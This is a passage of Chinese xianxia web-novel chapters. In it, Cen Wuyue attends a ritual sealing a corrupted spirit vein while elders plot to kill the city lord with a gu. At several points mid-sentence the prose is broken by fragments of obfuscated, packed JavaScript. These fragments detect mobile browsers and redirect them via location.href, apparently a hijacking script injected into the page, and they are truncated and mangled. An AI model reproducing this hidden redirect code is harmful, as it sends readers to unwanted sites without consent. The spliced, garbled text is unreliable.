大批弟子都在此处忙着布置阵法、场地,桑青也在其中。 奚逐云则是独自一人站在更远的地方。 说“站”也不太确切,应该说是“飘”。 他五心朝天,凭空浮在业渊的裂口中,浑身笼着一圈光晕。 如同冰雪被阳光直射会消融那样,翻滚的黑气根本破不开奚逐云的防御,反倒被他信手捕捉、拖入体内、牢牢困住。 他脸上往常那偶尔温和偶尔腼腆的笑意也不见了,微蹙着眉凝视业渊深处的神情甚至能称得上…… 岑无月停下来认真思考了一下这里应该用什么形容词。 ……圣洁?悲悯? “不愧是圣山弟子啊。”她又感慨了一次。 走到这么近的距离,桑青也已注意到岑无月的到来,她向身边的弟子交代几句,便行至岑无月身前:“有何事?” “想看看业渊长什么样。”岑无月诚实地答完,问,“我能走近看吗?” 桑青原本是摇头,但途中注意到岑无月胸前灵符,摇头的动作又停住,下意识回头望了一眼仍在全力净化恶念的奚逐云。 岑无月眨眨眼不说话。 桑青静了几息,还是回首开口问:“是那位云渊守赠你的?” 岑无月反应了一下才想起来,那是修真界对奚逐云的称呼。 “对呀,”她笑眯眯道,“有这个在,应该可以稍微站近些看吧?” “……”桑青道,“不可轻信他人。” “净庭山弟子都不可信的话,世上就没什么可信的人了吧。”岑无月半开玩笑地说。 一个路过的玄枢城弟子露出了深以为然的表情。 “我说的不止是他。”桑青的表情没什么变化,“你太容易相信人,任何人。……这样容易被骗。” “被骗也没关系的,”岑无月很豁达,“我师父常说,不摔跟头不长个。”当然也说了碰见不对劲的人就离远点,免得被骗。 桑青没再说什么。 “师姐,你有没有觉得……”岑无月看着不远处的奚逐云,不解地问,“他看起来总是有点……痛苦?” “哪怕再天资卓绝,短时间内净化如此巨量恶念,经历的痛苦也是你我难以想象的。” 桑青刚刚说完,岑无月就看见奚逐云的视线暂时从地底深处收了回来。 那视线习惯性地左右一扫,便定在岑无月身上,而后露出一点愕然与不赞成。 “你看,”桑青道,“他也反对你来。” 岑无月“啊”了一声,心想你刚还说他不值得信任怎么这么快就和他站一队了,结果嘴上还没来得及给自己再找个观光业渊的理由,奚逐云的身影就已经到跟前了。 大概是顾忌身上的残留气息,他站在一个稍远的位置,蹙眉上下观察岑无月几眼,表情才稍稍松下来:“是有事需要我帮忙吗?” 岑无月早就想好了借口。 她把一直拿在手里的面具递给奚逐云,道:“回礼。” 奚逐云稍稍怔忡后,接过面具翻到正面,又愣了一下:“……你不必回礼的。” “不好看?”岑无月踮脚又确认一下确实长得有点凶狠的白蛇画像,看着奚逐云的眼睛认真强调,“我觉得很适合你的。” 奚逐云的耳朵尖尖似乎又红了,他抿住嘴唇,将面具收起:“……多谢。” “要是你能高兴起来就好了。”岑无月满意道,“自从认识你,总觉得你好像一直不开心。嗯……你该不会平时自己一个人在晚上偷偷哭吧?” 奚逐云的眼睛缓缓地瞪大了。 他还没说话,桑青已经先一步开口:“岑无月。” 岑无月用两根手指交叉给自己比了个“闭嘴”的表情,不再为难奚逐云,而是转向桑青:“我想起来了,确实有一件事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297480|166203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想和师姐说。” 桑青看了一眼还在刚在那句话里没回过神的奚逐云,对岑无月道:“去那边说。” 岑无月慢悠悠地跟在桑青背后,脑中转着数个念头。 二长老那根针虽是一种控制手段,但也无法面面俱到。 譬如它虽然可以控制岑无月不泄密,但也无法向二长老通报她的一言一行。 世上没有完美的陷阱。 倒是有很多会掉进不完美陷阱的人。 行至一处离其他弟子都有些距离、不至于被听清楚话的位置,桑青才停住脚步,转身问:“什么事?” 岑无月想了想,以比平时慢的速度开口道:“城主的灵契偃找到了吗?” 后颈只是传来警告似的刺痛。 这个问题安全。 桑青眼也不眨:“不该知道的事,不要多问。” 岑无月又道:“准备在仪式上用的那台偃甲……” 这次疼痛骤然加剧,岑无月几乎能听见自己脑袋里“嗡”地一声。 但早有准备的她仍旧面不改色地将这个问题说完了:“……在仪式开始之前,如果有时间,我能不能再最后和它说说话?” 她脑中的疼痛缓缓地退去了。 但就像是退潮后的海岸不会即刻干燥一样,一阵一阵扩散性的头疼仍旧在持续。 那么,这也是安全的问题。 桑青没有立刻回答。 “我有几十年没有见到小师兄了,”岑无月蔫头耷脑地垂首,又可怜巴巴抬眼,“这一次还要看和他一样的脸被扔到那种地方去……万一他真的遭遇不测,而那是我见他的最后一面,说不定会做噩梦、生心魔的。” 两人对视半晌,最后桑青率先移开视线,道:“我会请示城主。” 岑无月立刻笑开:“谢谢师姐!” “城主未必会答应。”桑青面无表情地说。 岑无月不以为意:“师姐愿意帮我,城主也一定愿意帮我的啦。” 不过为了表示贿赂……啊不是,求人办事的诚意,岑无月还是在储物戒里掏了包东西出来递给桑青:“师姐,我请你——”她火速低下视线瞟一眼掏出来的东西,“——吃糖!” 桑青看一眼那些飘着山楂味的糖豆,手指都没动:“我不进食,你留着吧。” 岑无月飞快把其实还挺开胃的山楂糖扔回去,想再换点别的什么,结果摸了三次都是吃的,气氛顿时有些尴尬。 “岑无月,”桑青一向平静无波的声音里似乎都带上叹息的意味了,“你资质不差,只是缺修行的耐心。” 岑无月终于掏出了某个不是食物的东西,看都没怎么看,就硬是塞到了桑青手心里。 而对于桑青那几乎能算是恨铁不成钢的长辈式提点,岑无月只是笑道:“说不定我只是和其他人的修行方式不一样呢。” 桑青看着自己手中还不到掌宽的提线小木偶,淡淡道:“……花言巧语。” 不管如何,目的已经达成,岑无月再没多留,笑眯眯朝桑青挥挥手便运起灵力脚底抹油地离开了。 要对那台偃甲动手脚,早了不行——肯定会被辞青发现;晚了更不行——偃甲都没了还怎么下蛊。 怎么想都没有比仪式即将开始时更好的时机了。 岑无月揉了揉还在隐隐作痛的后脑勺,苦中作乐地给自己打气。 嗯,我的计划这么完美,长老们一定会很满意的! 14.第 14 章 距离仪式开始还剩三日的这天夜里,业障又产生一次暴动。 有奚逐云坐镇,这次暴动倒是没有上一次那么声势浩大,不到一刻钟的时间就被压制下去了。 不过第二天岑无月就立刻发现了城中气氛的变化。 ——坐忘阵供不应求了。 岑无月还没出门,客栈掌柜便陪着笑上门来询问屋内的坐忘阵能够供其他客人使用。 反正她也用不上,爽快收了一笔好处费便把房间内的阵法任由掌柜安排了。 在客栈里吃完早点出门时,岑无月看见一个锦衣玉食的年轻修士飞快地走进客栈,往她房间的位置去了。 他眉头微皱,面若冰霜,总的来说虽然有点心绪不宁,但也能说得上是自控。 这种程度就要使用坐忘阵来清净六根了? 岑无月啧舌摇头。 在城内的观礼修士尚且如此,待在城外的恐怕更不好说。 这样想着,岑无月出了城门往西边去。 比起前一天,在城外劳作的玄枢城弟子果然少了很多,取而代之的是各色偃甲。 每一个弟子都不得不同时指挥操控数台偃甲,大多都显得有些吃力。 岑无月就差点被一台大型偃甲踩到,好在她避得快。 操作那台大型偃甲的玄枢城弟子神情看起来有些恍惚:“道友,走路小心一些。” 岑无月朝她点点头,顺势提议:“要不要去休息一会儿?” “没有休息的工夫了……”玄枢城弟子气若游丝,“我还算是好的,别的师兄师姐一人得同时控制五六台偃甲呢,大家都自顾不暇。” 为了不被过度劳累的弟子操纵偃甲误伤,岑无月只好小心翼翼地往仪式地点的方向走,行进速度比昨天慢了一半还不止。 桑青和奚逐云都还在和昨天几乎一致的地方。 还有两位长老。 岑无月细看了一下,辨认出那是大长老与三长老——正巧是那天晚上没参与挟持的那两位。 不过显然几名长老们是一条心。 大长老站在离业渊裂口稍近的位置,似乎正在协助奚逐云净化。 三长老正在听桑青说话,只瞥了一眼岑无月,便像见到陌生人似的移开视线。 岑无月无人搭理,倒也方便她走走停停、仔细打量整个仪式用的阵法。 阵法台占地面积相当大,施法位只有一个。 记得听李大厨他们说,每次仪式都是城主亲自进行,先对偃甲进行加固、再经过净庭山弟子的神念洗涤包裹、然后贴上提前制作的灵符,完成这三步后,偃甲才会被城主用灵力缓缓投入业渊之中。 仪式完成后,业渊的颜色便会缓缓恢复正常的透蓝。 正常之后,大家对它的称呼也就会暂时性地改回“灵脉”,直到它下一次变得浑浊、漆黑为止。 “——怎么又来了。”奚逐云无奈地说。 听见他的声音,岑无月才发现他不知道什么时候走了过来,而且依旧同昨天一样保持着不近不远的距离。 “不是又爆发了一次吗?”岑无月背着手道,“我怕你们出事,也担心仪式出问题,所以过来看看。” “我会处理好的。”奚逐云轻描淡写地说着,将右手食指上一枚已经乌黑的扳指摘下,信手捏碎。 那不知是何质地的扳指化作齑粉纷飞,很快消失于空气中。 许是见岑无月的视线一直追随着粉末飘走的方向,奚逐云解释道:“这只是法器,其中没有恶念,不会伤害灵气。” “嗯?我没有担心那个,毕竟你不会做坏事呀。”岑无月拈起胸口灵符,道,“只是在想你送我的这个好像一直没有变色。” “……”一说到这个话题,奚逐云总是变得很含糊,“不一样。” 岑无月顺口接了他的话:“知道知道,不一样在是你亲手做的,对吧。” 原本根本没把岑无月放在眼里的两名玄枢城长老此时倒不再无视她了,只是用余光递来几个警告的眼神,逗得岑无月乐了一下。 “……?”奚逐云下意识回头循着岑无月的视线方向望去,“你笑什么?” “可能长老们没想到我和你关系不错吧。”岑无月轻快地说,“也可能他们觉得我打扰你净化了。” 奚逐云闻言望向黑气滚滚的业渊,刚刚舒展开一些的眉宇又凝重起来。 倒是一名操纵着七八台偃甲的玄枢城弟子插话道:“云渊守许久没休息,是该停一会儿。” “什么?”奚逐云回过神,“我不必——” 然而玄枢城弟子只是随口一说,话音落下的时候人早就掠出十几步,根本不是要聊天的意思。 奚逐云只好咽下了后半句话,仓促之间驴头不对马嘴地接了一句:“三长老负责守城大阵相关事宜,来此并非催促我净化灵脉。” 岑无月随意接了下去,试图缓解他的尴尬:“灵脉究竟为何会被污染?” “……”奚逐云慢慢地说,“七情六欲皆是毒。” “但其中也有好的吧?”岑无月看着那些仿佛融合了世间所有恶意的黑气,向身旁见识更广的圣山弟子寻求答案,“喜、怒、哀、惧、爱、恶、欲——喜也有错吗?” 长相也不过二十出头的奚逐云眼神中流露出一点看后辈犯傻的笑意:“七情六欲从不会独自存在。一个人有喜,就必定会有哀;会爱,便一定会恶。” “所以为了不沾染其中任何一种,就只能将全部所有一起割除?”岑无月问。 “这是无情断情道的做法,”奚逐云不做评判,“但若你觉得不好,也有别的办法。” 这位圣山弟子这么一说,岑无月就扭头去观察他了。 嗯,衣袂飘飘,谪仙之姿,表情总是柔和耐心又好说话的,内心总是悲天悯人犹怜草木青的,行为上总是为人世安危而奔波劳累的。 “我三师姐同你差不多,”岑无月道,“高风亮节、心怀天下,忧他人之忧、乐他人之乐。我师父可能是不小心捡漏了,说不定本来三师姐该去你们净庭山的。” “……” “你说如果她出了事,是谁会舍得伤害她呢?”岑无月叹了口气。 奚逐云沉默良久,才轻声道:“若她真同我师门长辈一般,或许身殒道消也是固所愿也。” “真是这样就最好啦,”岑无月道,“其他还有什么办法?我想想……哦,杀妻杀夫证道的,这更不行啊。” “确实如此……” “杀人是最容易不过的事情了。”岑无月说,“杀一个人就想证道,天下哪有这么好的事情。” 奚逐云有些愕然:“容易?” 岑无月对他的惊讶表示疑惑:“在修真界里,不杀人才难。” 杀过人的修士比比皆是,随便扔块砖头都能砸中三个,从来没沾过他人性命的那才是凤毛麟角。 “但杀死陌生人与杀死挚爱之间,有很大的不同。”奚逐云试图解释杀亲证道的存在性。 “都一样的。”岑无月打断了他,“两者都夺取了他人的性命,仅此而已。” 奚逐云看起来还想说些什么,但这毕竟不是他选的道,便也很难论下去。 “所以我不会杀人的。”岑无月朝哑口无言的奚逐云眨了一下眼睛,笑道,“这是我许诺过师父的三件事之一。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“对。”辞青答完,抬眼对上岑无月闪闪发光的视线,一顿,“你想学?” 岑无月又扭头去看那具偃甲,几乎是明示道:“毕竟这是现在最接近小师兄的东……嗯,存在啦。” “入口架上有本《偃甲天工》,新入门的弟子最先读的就是这本。”辞青说,“你若是能在半天内看完,我就抽空教你一二。” “真的吗?谢谢城主!” “不必多谢,”辞青声音平淡,“毕竟你是他爱护的晚辈。” 有这等顶级偃甲大师一对一教学的机会,岑无月自然不会放过。 ——事实上,师父和小师兄都说过,只要是想学的东西,她的学习速度总是很惊人。 根本不用半天,岑无月小半个时辰便将《偃甲天工》的内容融会贯通了,一溜烟地跑去向辞青汇报。 辞青起初只是漫不经心地扫她一眼,手上动作都没停,随口抽问。 见岑无月全答上来,才露出些微的讶然:“你若是入玄枢城,恐怕就是下任城主了。” “我很厉害吧?”岑无月喜欢被夸奖的感觉,“城主现在可以多教我一些啦。” 辞青说话算话,当场便开始一堂偃甲大师课。 途中桑青也来了一趟,但未进千机房内,站在外回报了一些布阵的进度云云。 辞青一边改进偃甲,一边给桑青下令,一边还能指导岑无月把玩手上偃甲,一心三用还绰绰有余。 等桑青走了,岑无月才感叹道:“哪怕放眼整个修真界,城主也是天才中的天才了。” “天才?”辞青的声音微冷,“岑无月,你记住。修真界里,最不缺的就是天才。有时候,天才甚至死得比庸才更快。” 15.第 15 章 走在街上时,但凡稍微细心些观察就能发现,修无情道的人绝大多数看起来都不开心。 但理论上来说,他们似乎应该是既不能“开心”,也不能“不开心”。 很难想象有人能保持在那种什么也没有的状态里。 岑无月觉得师父说得很对,她得找别的角度来修自己的道,不能盲从他人。 但多多听取其他修士的想法来打磨自身道心倒是可以的。 “——‘铁骨铸玄机,灵枢斩尘羁’,”辞青说,“玄枢城认为,若能制作出与自己百分百相合的灵契偃,人偃合一,便能抛却肉身、摒弃七情六欲,以无情无惑之势修行,一日千里,飞升指日可待。” “玄枢城认为?”岑无月笑道,“您这么说,想必是还有别的看法了。” 辞青没有回答。 她好像是出神了一会儿,视线落在千机房的某处虚空中,凝视片刻才回神道:“我离那扇门也还很远,或许这辈子也到不了了。” “只要灵契偃回到您手中就好了吧?”岑无月想了想,提议道,“以您的学识,再动手重新做一具灵契偃,应当也不会很难的。” 辞青驳斥:“怎么不难,多少人一辈子都做不出一具契偃。” 那制作难度好像确实是超出岑无月的预料了。 她想起了其他修士开玩笑时说过的话:“难怪都说一个器修和一个偃修加起来也凑不出十颗灵魄呢。” “并非只是指财力。”辞青耐心地解说,“你觉得世上能有另一个你吗?一个与你完全心灵相通、绝对信任、永不隐瞒的人?” 岑无月顺着这个假设想了片刻:“好像是很难哦。” “不是很难,是几乎不存在。”辞青说,“偃修制作契偃的过程,就是将这‘几乎不存在’通过自己的双手缔造出来。这与登天有何异?” 她说着,弯腰用手指一点岑无月刚组装好的偃甲。 “——你如今也会做偃甲了,应当多少能想象一二。” 辞青的手上遍布着茧,每根手指都修长灵活,再微小再易碎的零件,到她手中也听话得像是她身体的一部分那样。 岑无月已经不是两天前那个对偃甲一窍不通的自己,因此很明白这最后的两天时间内辞青对这具即将要被投入业渊的偃甲做的改进有多叫人瞠目结舌。 俗话说巧妇难为无米之炊,如果说这具已经失去小师兄神念的偃甲便是没有米的伙房,那身为巧妇的辞青就是硬生生地凭空做出了一桌饭菜来。 尽管并不是满汉全席,但也已是能常人所不能。 这样的辞青却说修真界里最不缺的就是天才,仿佛觉得她自己并没有什么了不起。 岑无月突发奇想地问:“现在全修真界最强的人是谁呢?” “自是太上无相真君。”辞青回答时甚至觉得有些奇怪,“不会有第二个答案。” 确实,岑无月还没有从任何人口中听到第二个答案过。 “不过,若只是说近百年的天才,”辞青沉思片刻,随口报了一串名字,“谢还、曲燃、千嶂夕、星玄度、元悔、沈叩玉……这些都是最近声名鹊起的。” 在修真界里,一百年也能算是挺“最近”了。 “还有奚逐云,不过他你已经见过了。”辞青最后又补充道。 岑无月眨眨眼睛。 奚逐云声望虽高,但脾气太好,太平易近人,一时之间很难让人把他和那些遥远的名字联想在一起。 辞青扫一眼岑无月的表情就知道她在想什么:“你可知城内的奚逐云只是身外之身?” 身外之身,即一种修士用神识所化的分神,可以自如地在别的地方行走活动。 但寻常修士并不会学习这一法诀,更不要说使用了。 理由很简单:做一个身外之身,便是将作为修士安身立命之本的神魂割出一块。 别说分割时难以想象的剧痛,光是身外之身“死去”时带来的死亡体验就足够让人退避三舍。 此外,神魂受伤极难恢复,受损还会变弱,哪个修士会闲着没事拿自己切着玩儿?就为了做个身外之身? 岑无月肃然起敬地“哦”了一声。 如果她认识的奚逐云只是个身外之身的话,那本体的实力一定要更强,甚至强得多。 但辞青又继续道:“你可知他有多少身外之身?” 岑无月眨了眨眼睛:“……两个?” “净庭山百年前就封山休养了,全修真界在灵脉净化上能求助的只有奚逐云。为了让同门休养,他一人承接了整个净庭山的责任。”辞青淡淡道,“上一次我听说时,他已有四十七具身外之身,还不知道这次来的是第几个。” …… 辞青的话言犹在耳,岑无月直到碰见奚逐云本人都还在思考他是第几号身外之身的事情。 奚逐云被她直白的目光看得不自在起来:“……怎么了?” “你真厉害啊。”岑无月毫不吝啬地夸奖道,“虽说大家为了修成无情道也是不择手段,那也没几个人能做到你这一步吧。” 若换一个定力差一些的,恐怕在多次分裂神魂时就已经不堪痛苦、魂飞魄散了。 神魂没有实体,仅是一种精气神的力量,在遭受过大的痛楚时便会消磨、损耗,完全消失根本不奇怪。 奚逐云听懂了,嘴唇抿成一条直线,并不因此沾沾自喜:“我小时候,长辈们都说我还年幼,只需潜心修行,外面的事情不必操心,全部交给他们便好。现在也该轮到我来替他们撑起净庭山了。” 虽然这样解释一番,但奚逐云看起来并不想继续这个话题,很快转了话锋。 “——我听桑青管事说,你这两日在随城主学习偃甲之术?” “对呀。”他这么一说,岑无月才想起来自己是有礼物要送给他的,“这个送给你。” 奚逐云看看岑无月双手托举的一颗巨蛋,沉默片刻便接了过去:“这是……” 岑无月朝他比个噤声的动作,而后屈指轻叩蛋壳。 蛋壳咔一下裂开,一条手指粗的小白蛇便从里头探出了头。 白蛇关节灵活,蛇鳞片片分明。它昂起首,亲昵地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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有时候甚至是有点多愁善感的程度了。 岑无月眨眨眼睛:“其实我之前便问桑青师姐,仪式前能否让我同偃甲道个别,今日城主对我说了可以,所以明天我得一早去仪式阵法那儿等着。” 奚逐云的眉眼放松下来,真心实意为岑无月感到高兴:“那就太好了。” —— 确实太好了。 蒙蒙亮的天色里,岑无月站在即将要坠入深渊的偃甲前,端详它的面庞,用手指轻戳它的脸颊。 因为已经置入了核心,倒是有接近活人的体温。 又变得有一些像小师兄了。 辞青正在远处和长老说话,双方之间的气氛甚至算得上平和。 岑无月垂眸观察那打开的胸腔,目光扫过那些她还不能完全理解的零件与线束。 在将偃甲的胸腔合上之前,她以极为隐秘微小的动作将自储物戒中取出的小球捏碎扔了进去。 小球稳稳卡在一处缝隙后方,不仔细看压根不会注意。 桑青走了过来,唤道:“岑无月。” 岑无月镇定自若,回首朝她一笑:“要开始了吗?” 16.第 16 章 大长老虽然嘴上和辞青说着话,但一直分出心神注意着岑无月的一举一动。 辞青将用于仪式的偃甲看得很严,除了半路杀出的岑无月之外,谁也不准靠近。 没办法,他们只好拿了岑无月让她去对那具偃甲动手。 即使岑无月的动作再隐蔽,有心算无心,大长老仍然看见她将蛊虫放入了偃甲体内。 桑青晚了一步过去,根本没有注意;辞青更是被他亲自拖住,背朝着岑无月的方向。 那枚蛊虫是大长老许多年前意外得到的宝物,原本是一对有情道修炼成、要结同生共死契的,只不过最后这两人死了,东西则被大长老捡漏。 同生共死蛊只消半刻钟便会钻入偃甲核心之内,辞青一旦与偃甲通神,蛊虫便会联结她的识海、死死锁住。 等偃甲被镇在业渊底下后,那源源不断的业障恶念涌入偃甲十分,蛊虫就将痛苦污染传达给辞青十分。 偃甲被业渊“消化”的那天,辞青也必定身死道消。 辞青可不是净庭山人,没法“净化”自己。 至此,计划可谓是已经成功了大半。 大长老想到这里,多年来古井无波的心都有些激动起来。 虽说对外宣布“四长老在业渊不幸牺牲”,但他还能不清楚老四是怎么死的?——悄无声息地被人一剑封喉杀死在自己的练功室里! 可笑辞青仗着自己修为高,找机会杀了落单的老四,做得这样毫不遮掩,根本没把他们放在眼里——难道还真以为他身为长老这么多年是白活的? 桑青已带着那修为很是一般的岑无月走开了。 大长老不以为意地收回目光。 桑青只是辞青的走狗,一旦辞青倒下,桑青根本不足为患。 而那岑无月倒是和奚逐云的关系很不错……玄枢城还离不开奚逐云,不好闹翻。 稍做些处理让她无法泄密之后,就留她一条生路好了。 大长老很快这样下了决定。 “余鲲。”辞青令道,“一刻钟后开阵。” 大长老回过神来,心中闪过一丝不悦。 辞青比他小许多岁,甚至差了两辈,从前还尊称一声“大爷爷”,当了城主之后没多久就对他直呼其名。 呵,早该知道她是个不安分的。 但一想到这次仪式之后辞青的后果,大长老的那一丝不快又很快消解了。 是啊,辞青确实是天才,但谁说天才就一定会活得久呢? “不如先叫弟子们散远些,”大长老摸着自己的胡子,慢吞吞地说,“此次镇压凶险,得比往年更谨慎些。” 辞青一颔首,桑青便主动去办了。 大长老瞥见岑无月也一溜烟跟着往玄枢城弟子们的后面躲,心道她倒是很有自知之明,也很惜命。 倒是这样聪明的庸人,说不定会活得比大多数人更久。 辞青站着凝望片刻黑气翻腾的业渊,突地又回头看了一眼偃甲。 大长老心头突地一跳,生怕她突然想要再去检查一番,立刻开口拉回辞青的注意力:“不过有云渊守坐镇,应当不会发生什么大事。” 辞青淡淡应了一声,视线仍落在偃甲身上。 大长老只好接着道:“我唯独担心的是,杀死老四的人究竟是谁,这人又是不是还潜伏在城内。” 说到这件事,辞青的目光终于挪回来了。 “城主的灵契偃也没有下落。”大长老轻声叹息,做出忧心姿态,“于玄枢城而言,实乃多事之秋。” 至于辞青的灵契偃,等她被折磨得奄奄一息、神魂将耗尽之时,自然是问什么就答什么,总能找到的。 修仙之人,只要道心不破,最不缺的就是时间了。 辞青淡淡道:“无碍,很快便会解决的。” 大长老看似尊敬地垂下头,视线落于地面,心中道:确实,很快就会解决的。 这一次的镇压仪式办得仓促,唯有玄枢城弟子及前来观礼的修士们在场,凡人们都被禁止出城了。 倒也不是为了保护凡人们的性命,而是万一有什么意外,他们产生的巨量情绪只会瞬间成为业渊肆虐的燃料,火上浇油。 天色蒙蒙亮时,辞青已站在了施法位上。 四名长老一字排开替她护阵,奚逐云则凭空立于业渊上方,眼眉低垂,气息内敛,看起来已做好了配合出手的准备。 其余修士们站得远近不一,这站位就全看对自己的修为有多自信。 胆够大的,站长老们前面都行,胆小的,越往后站越安全。 辞青已进行过数次同样的镇压仪式,她合眼细细感受灵力流动后,十分熟稔地祭起偃甲,放出神念与其通神。 大长老在袖中的手指下意识地捏紧了。 辞青确实是天才,一切与偃甲相关的东西,在她手中都能随意摆弄。 通神只花了她两个呼吸的时间。 当辞青再度睁开眼时,偃甲的眼睛也与她同步睁开了。 大长老心中猛然涌现一股无情道修不该有的狂喜:成了! 他不敢露馅,摆足守护的架势在旁压阵,看着辞青与奚逐云协力将偃甲缓缓投入业渊裂口之中。 几乎所有的黑气都尖啸着朝偃甲涌去,宛如一群饿狼撕扯争夺唯一的食物。 那尖啸本不该存在,却汹涌入脑,大长老不得不用灵力护住自己的双耳。 辞青皱着眉将偃甲压入深不见底的地底,黑气也跟着缓缓下沉,于是灵脉原本的灵气便逐渐清明起来。 先是从黑变成深灰,而后透出些许蓝色调。 直到最后变成一种半透明的灰蓝色——仍未完全恢复灵脉原本的澄澈水蓝,但已经十分不错。 安静观礼的修士们这才放下心来,纷纷开口祝贺。 奚逐云看起来松了口气,他落地时甚至还扶了辞青一把,蹙眉询问:“城主?” 差一点跌倒的辞青重新站稳,揉着自己的额角低声道:“……无碍,只是神识透支。” 她与奚逐云交流两句,后者很快便善解人意地告辞,目光在后方观礼人群里扫视——想也是在找那岑无月。 辞青的目光在桑青身上落了一瞬,又转向大长老:“余鲲,你带人收尾。” 这一次,唯独这一次,大长老一点也不生气她直呼自己的名字。 因为她这样做的机会已经是做一次少一次了。 大长老几乎是带着愉悦的心情将观礼的贵客散客一一送走,期间还给其他三名长老都安排了工作事宜。 四人都办得是精神抖擞——无他,将这仪式的屁股擦干净,他们就可以回去看辞青的惨状、夺回自己的权力、获得辞青的契偃了。 这一忙便是一天,子时月上中天,大长老在城主府遇见了神情冷凝的桑青。 他态度平和地询问:“城主如何了?” 桑青行罢礼又顿了顿,似乎不想回答这个问题,但最终还是道:“城主仍在千机房内,并无回应。” 大长老作关心状:“我正要去向城主禀报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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辞青血红的眼珠迟钝地转向他,撑于地面的手指动弹几下,但没有出手。 辞青可不是个会吃亏的人,换成别的时候老五敢对她这么说话,只怕当场就要被她的威压按跪下。 但此时,辞青什么也没做。 或者说,她什么也做不了。 生性谨慎、站在最后的二长老观察到这里,终于松了口气,也缓缓步入千机房,而后反手将门合上了。 只是就在门扉闭合的那一瞬间,二长老捕捉到自己的指尖疾速闪过一条灵力流。 她的内心骤然升起不祥预感,一边反手将门向外推,一边张口厉喝:“小心有诈!” 可千机房的门已经再也推不动了。 大长老反应极快,在二长老喊出第一个字时便高高跃起、全力一掌拍向屋顶。 也无功而返。 无形的阵法飞快将千机房裹在其中,化作一座无声无息的死牢。 只是狱卒与犯人的角色,已在眨眼之间互换。 大长老落到地上,猛退数丈,惊疑不定地质问缓缓站起来的辞青:“你怎会没事?怎么可能?!同生共死蛊明明已经——” 辞青挥袖弹出个红色的小球,道:“蛊?这个么。” 五长老躲避不及被小球打了个正着,他顾不得痛,目眦欲裂地去看那究竟是什么。 那红艳艳的东西散发着些微的香味,酸酸甜甜。 …… 竟是一颗山楂糖球。 —— 桑青立在千机房外,安安静静地等待。 她最擅长的就是等待。 直到圆月西沉,锁阵落下,房门才再次打开,传出辞青低哑的声音:“将这些处理干净。” 随着她的声音一同飘向门外的,是浓烈的死亡气息和铺天盖地的血腥味。 桑青垂眸领命:“是,城主。” 17.第 17 章 玄枢城赖以生存的灵脉并没有完全恢复。 但奚逐云也知道,这已经是当下能得到的最好结果了。 而这争来的时间,或许能够让玄枢城众人找到下一个办法。 又或者,与其他一些城市一样,举家搬迁,离开这条奄奄一息的灵脉,找到新的栖息地。 没有了灵脉或许会衰败,但至少不会灭城。 这些事情,奚逐云早就与辞青商讨过,这位城主在方面出乎意料地冷静理智,听罢他的建议之后并不动怒,而是赞成道:“如果救不回这条灵脉的话,我也是这样想的。” 奚逐云心中一动。 他太熟悉那种表情了。 那是已有死志的人才会说的话、露出的眼神。 不过既然对方是一城之主,或许早有为城献身的觉悟。 奚逐云心中暗暗叹息,没有点破追问,心中对辞青生出一些感同身受的共情来。 当一个人——哪怕是修士——在遭受了过于强烈的痛苦之后,便会忍不住想要放弃自己的生命来结束这种痛苦。 这种时候,一个可以光明正大去死的理由便很重要。 玄枢城城主似乎也有那样的理由。 对这样的人进行劝阻,既不尊重、也不必要。 —— 保险起见,奚逐云还会在玄枢城停留一两日,确认灵脉情况稳定后再离开。 但只要仪式完整举办,此间事其实已了,他更不放心的是城中的另一个人。 自灵脉上方落地后,奚逐云的视线就已经开始往观礼人群的方向扫。 很快,他就看见了站在人群最后方的岑无月。 与那些正在庆贺称赞的修士不同,向来爱笑的她此时脸上没什么表情,只是有些出神地望着灵脉的裂口。 奚逐云心头一跳,想起刚才那具被活祭一般压入地底的偃甲。 ——虽说只是偃甲,但却有着岑无月师兄的同一张脸。 目睹那样一幕,心情必然不会好。 奚逐云下意识抿住嘴唇,顿足想了片刻,才朝岑无月走去。 走了两步,他才想起扭头和辞青道别。 辞青倒是没说什么,看起来累得透支,其他的修士却一个接一个上前来套近乎,奚逐云只好挂起客套笑容一一寒暄,过关斩将似的好不容易才走到岑无月身边。 这时候的岑无月几乎已经站到了那巨型裂口的边上,垂着眼睛往下看。 好似下一刻就要跟着跃入其中。 奚逐云心中一跳,三步并作两步掠上前,不由分说抓住她的小臂,阻止地叫她的名字:“岑无月!” 岑无月转过脸,眼中浮现惊讶的笑意:“都结束了吗?你感觉怎么样?哎,为什么拽我?” ——平时的那个她又回来了。 奚逐云放轻呼吸凝视岑无月片刻,没有在她脸上找到和辞青一样的死志,这才松开手,道:“站在这里有些危险。” 岑无月恍然,她扭头笑眯眯凝视裂口深处:“我是想看看灵脉的颜色。不知道是不是看错了,好像还没有完全恢复?” “暂时还没有。”奚逐云顿了顿,又低声说出自己的推测,“虽然并未见过,但哪怕城主的契偃仍在,恐怕也不够。” 更何况,用宛如偃修半身的契偃去镇压业障?这偃修从此恐怕便是个日日夜夜活在折磨里的半死人了。 “也不够吗?”岑无月诧异地说着,终于从裂口边退回两步,“那玄枢城以后怎么办啊,只能搬走了?” 奚逐云道:“业渊越来越多,搬迁的城与门派有很多,哪怕不是现在,也总有一天会轮到玄枢城。” 岑无月看起来很是苦恼:“那岂不是天下也很快要完蛋了?就没有什么办法能治标又治本?” 这是目前无解的难题。 